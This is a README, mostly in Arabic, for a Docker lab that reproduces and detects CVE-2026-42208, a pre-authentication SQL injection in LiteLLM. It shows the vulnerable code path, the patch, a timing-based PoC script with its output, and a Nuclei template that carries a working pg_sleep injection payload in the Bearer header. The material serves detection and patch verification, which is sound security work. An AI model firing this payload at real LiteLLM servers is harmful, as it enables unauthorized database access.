
مختبر إعادة إنتاج لـ CVE-2026-42208، وهي ثغرة SQL injection حرجة قبل المصادقة في LiteLLM. يتضمن بيئات ضعيفة/مصححة قائمة على Docker، واستغلال PoC قائم على التوقيت، وقالب كشف Nuclei لاختبار الأمان.
بيئة مختبرية لإعادة إنتاج وكشف CVE-2026-42208، وهي ثغرة حرجة لحقن SQL قبل المصادقة في LiteLLM حيث تصل رموز Bearer غير المنقحة إلى استعلام PostgreSQL خام.
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-42208 |
| GHSA | GHSA-r75f-5x8p-qvmc |
| CVSS | 9.3 (حرجة) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| الإصدارات المتأثرة | >= 1.81.16, < 1.83.7 |
| المصحح | v1.83.7 (استعلام معلمي) |
| CWE | CWE-89 (حقن SQL) |
Vulnerable (v1.83.6):
POST /v1/chat/completions
Authorization: Bearer <payload> ← payload does NOT start with "sk-"
→ api_key.startswith("sk-") assertion fails (utils.py:1189)
→ caught by except Exception (utils.py:1560)
→ _handle_authentication_error(api_key=RAW_PAYLOAD)
→ _enrich_failure_metadata_with_key_info()
→ get_data(token=RAW_PAYLOAD, table_name="combined_view")
→ SQL: WHERE v.token = '{payload}' ← injection
Patched (v1.83.7):
Same request path, but:
→ get_data(token=hashed_token, ...)
→ SQL: WHERE v.token = $1 ← parameterized, no injection
Host Machine
├── localhost:8010 ──→ Docker: litellm-vuln (v1.83.6-nightly ⚠ VULNERABLE)
│ Docker: litellm-db-vuln (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable ✓ PATCHED)
Docker: litellm-db-patched (PostgreSQL 15)
| الأداة | التثبيت |
|---|---|
| Docker Desktop | docker.com |
| nuclei | brew install nuclei |
| curl, python3 | مثبت مسبقاً على macOS |
bash scripts/01-setup.sh
عند الانتهاء:
══════════════════════════════════════════════════════
Lab ready!
Vulnerable (v1.83.6-nightly) : http://localhost:8010
Patched (v1.83.7-stable) : http://localhost:8011
Master Key : sk-lab-master-key
Next: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════
bash scripts/02-exploit.sh
المخرجات المتوقعة — الإصدار القابل للثغرة (v1.83.6-nightly):
── Vulnerable (v1.83.6-nightly, port 8010) ──
Baseline : 0.031s
Injection : 6.062s (HTTP 401)
Delta : +6.031s
⚠ RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)
المخرجات المتوقعة — الإصدار المصحح (v1.83.7-stable):
── Patched (v1.83.7-stable, port 8011) ──
Baseline : 0.028s
Injection : 0.029s (HTTP 401)
Delta : +0.001s
✓ RESULT: No significant delay — injection not executed (PATCHED)
# Vulnerable instance → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010
# Patched instance → should produce no findings
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011
قابل للثغرة (v1.83.6-nightly):

مصحح (v1.83.7-stable):

bash scripts/99-teardown.sh
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md # Code-level analysis (English)
├── LAB_SETUP_GUIDE.md # Lab setup guide (English)
├── NUCLEI_TEMPLATE_GUIDE.md # Nuclei template design (English)
├── docker-compose.yaml
│
├── REPORT/ # Korean reports
│ ├── Vulnerability_Analysis_KR.md
│ ├── LAB_REPORT_KR.md
│ └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│ └── CVE-2026-42208.yaml # Nuclei detection template
│
└── scripts/
├── 01-setup.sh # Start containers, create seed key
├── 02-exploit.sh # PoC: timing-based injection proof
└── 99-teardown.sh # Stop and remove all lab resources
Step 1 GET /health/liveliness
→ match "I am alive" in body
→ confirms target is a LiteLLM instance
Step 2 POST /v1/chat/completions
Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --
Matchers (AND — all must pass):
status == 401 eliminates 504/502 false positives
body contains "auth_error" OR "Authentication Error"
confirms LiteLLM auth path, not a proxy
duration >= 5 pg_sleep(6) fired → injection confirmed
منع النتائج الإيجابية الخاطئة:
status == 401 يزيل الاستجابات من مهلات المنبع (504) وأخطاء البوابة (502)duration >= 5 عالية بما يكفي لاستبعاد ضوضاء الشبكة (الخط الأساسي ≤0.5 ثانية)تحذير: جميع بيانات الاعتماد في هذا المختبر هي بيانات اختبار وهمية لأغراض البحث الأمني فقط. لا تستخدمها مطلقًا في الإنتاج. احصل دائمًا على إذن صريح قبل مسح الأنظمة التي لا تملكها.
| # | الشرط | التفاصيل |
|---|
| 1 | إصدار LiteLLM المتأثر | >= 1.81.16, < 1.83.7 |
| 2 | قاعدة بيانات خلفية PostgreSQL | نشرات SQLite غير متأثرة |
| 3 | لا حاجة للمصادقة | قبل المصادقة؛ لا حاجة لأي بيانات اعتماد |
| 4 | على الأقل صف واحد في VerificationToken | pg_sleep يتم تشغيله فقط لكل صف؛ الجدول الفارغ = لا تأخير |